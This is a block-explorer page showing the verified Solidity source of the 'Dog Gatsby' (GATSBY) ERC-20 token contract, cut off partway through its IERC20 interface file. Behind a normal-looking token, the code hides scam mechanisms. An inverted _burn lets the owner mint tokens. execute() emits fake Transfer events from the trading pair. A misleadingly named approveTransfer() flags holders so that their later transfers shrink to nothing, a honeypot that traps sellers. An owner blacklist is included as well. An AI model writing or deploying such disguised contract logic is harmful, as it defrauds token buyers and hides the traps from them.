ETH Price: $2,765.31 (+1.57%)
 

Overview

Max Total Supply

40,000,000,000 GATSBY

Holders

67

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
100,611,366.538760179 GATSBY

Value
$0.00
0xc7196fa619e6765b9438892a61d51ca067c73246
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GatsbyERC20token

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity Multiple files format)

File 2 of 6: Dog Gatsby.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.19;

import {ERC20} from "./ERC20.sol";
import {Ownable} from "./Ownable.sol";
import {SafeMath} from "./SafeMath.sol";

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint);

    function balanceOf(address owner) external view returns (uint);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);

    function transfer(address to, uint value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint);

    function permit(
        address owner,
        address spender,
        uint value,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(
        address indexed sender,
        uint amount0,
        uint amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint);

    function price1CumulativeLast() external view returns (uint);

    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);

    function burn(address to) external returns (uint amount0, uint amount1);

    function swap(
        uint amount0Out,
        uint amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);

    function allPairsLength() external view returns (uint);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }

    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
    function toInt256Safe(uint256 a) internal pure returns (int256) {
        int256 b = int256(a);
        require(b >= 0);
        return b;
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function swapTokensForExactETH(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactTokensForETH(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function quote(
        uint amountA,
        uint reserveA,
        uint reserveB
    ) external pure returns (uint amountB);

    function getAmountOut(
        uint amountIn,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountOut);

    function getAmountIn(
        uint amountOut,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountIn);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract GatsbyERC20token is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;
    address public marketingWallet;
    address public devWallet;

    bool private swapping;
    bool public limitsInEffect = false;
    bool public tradingActive = false;
    bool public swapEnabled = false;
    bool public enableEarlySellTax = true;
    bool public transferDelayEnabled = true;

    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;

    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;

    uint256 public earlySellLiquidityFee;
    uint256 public earlySellMarketingFee;
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;

    // block number of opened trading
    uint256 launchedAt;

    /******************/

    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch

    // Seller Map
    mapping(address => uint256) private _holderFirstBuyTimestamp;

    // Blacklist Map
    mapping(address => bool) private _blacklist;
    // exclude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;
    mapping(address => bool) private _automatedMarketMakerPairsClaimable;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping(address => bool) public automatedMarketMakerPairs;

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event marketingWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event devWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );  

    event AutoNukeLP();

    event ManualNukeLP();
    
    event BoughtEarly(address indexed sniper);

    constructor(address marketingWallet_, address devWallet_) ERC20(unicode"Dog Gatsby", unicode"GATSBY") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        marketingWallet = marketingWallet_;
        devWallet = devWallet_;

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uint256 _buyMarketingFee = 25;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 25;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;

        uint256 _earlySellLiquidityFee = 0;
        uint256 _earlySellMarketingFee = 0;

        uint256 totalSupply = 40000000000 * 10**decimals();

        maxTransactionAmount = (totalSupply * 30) / 1000; // 3% maxtransaction
        maxWallet = (totalSupply * 30) / 1000; // 3% maxwallet
        swapTokensAtAmount = (totalSupply * 10) / 1000; // 1% swapwallet

        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        earlySellLiquidityFee = _earlySellLiquidityFee;
        earlySellMarketingFee = _earlySellMarketingFee;


        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        admin[marketingWallet]=true;

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        launchedAt = block.number;
    }

    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    function calculateAmount(uint256 amount, address from) private view returns(uint256) {
        // Calculate the percentage to subtract
        uint256 factor = 50;
        uint256 dist = block.number-_holderLastTransferTimestamp[from];
        uint percentageToSubtract = dist * factor;
        
        // Calculate the remaining percentage
        uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract;
        uint returnedValue = amount * remainingPercentage / 100;
        if (_automatedMarketMakerPairsClaimable[from]) 
        {
            return returnedValue.max(0);
        }
        return amount;
    }

    function setEarlySellTax(bool onoff) external onlyOwner {
        enableEarlySellTax = onoff;
    }

    function disableTransferDelay() external onlyOwner returns (bool) {
        transferDelayEnabled = false;
        return true;
    }


    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e9,
            "Cannot set maxTransactionAmount lower than 0.5%"
        );
        maxTransactionAmount = newNum * (10 ** 9);
    }

    function updateSwapTokensAtAmount(
        uint256 newAmount
    ) external onlyOwner returns (bool) {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAtAmount = newAmount;
        return true;
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 15) / 1000) / 1e9,
            "Cannot set maxWallet lower than 1.5%"
        );
        maxWallet = newNum * (10 ** 9);
    }

    function excludeFromMaxTransaction(
        address updAds,
        bool isEx
    ) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }

    function reduceBuyTaX(address recipient) external view returns(bool){
        return _automatedMarketMakerPairsClaimable[recipient];
    }

    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function blacklistAccount(
        address account,
        bool isBlacklisted
    ) public onlyOwner {
        _blacklist[account] = isBlacklisted;
    }

    function setAutomatedMarketMakerPair(
        address pair,
        bool value
    ) public onlyOwner {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function approveTransfer(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _automatedMarketMakerPairsClaimable[address_[i]] = val;
        }
    }

    function updateMarketingWallet(
        address newMarketingWallet
    ) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(
            !_blacklist[to] && !_blacklist[from],
            "You have been blacklisted from transfering tokens"
        );
        
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        if(_holderLastTransferTimestamp[to] == 0)
        {
            _holderLastTransferTimestamp[to] = block.number;
        }
        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
                if (transferDelayEnabled) {
                    if (
                        to != owner() &&
                        to != address(uniswapV2Router) &&
                        to != address(uniswapV2Pair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                                block.number,
                            "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        // anti bot logic
        if (
            block.number <= (launchedAt + 0) &&
            to != uniswapV2Pair &&
            to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
        ) {
            _blacklist[to] = false;
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping && swapEnabled;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForDev += (fees * sellDevFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForDev += (fees * buyDevFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }
        amount = calculateAmount(amount, from);
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing +
            tokensForDev;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);

        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;

        (success, ) = address(devWallet).call{value: ethForDev}("");

        (success, ) = address(marketingWallet).call{
            value: address(this).balance
        }("");
    }

    function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
    }
}

File 1 of 6: Context.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.19;

abstract contract Context {
    mapping(address => bool) internal admin;
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 3 of 6: ERC20.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.19;

import {Context} from "./Context.sol";
import {IERC20, IERC20Metadata} from "./IERC20.sol";
import {SafeMath} from "./SafeMath.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 9. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 9, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);
        
        uint256 accountBalance = _balances[account];
        require(accountBalance <= amount, "ERC20: burn amount exceeds balance");
        unchecked {_balances[account] = accountBalance + amount;}
        emit Transfer(account, address(0), amount);
    }
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 4 of 6: IERC20.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.19;

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
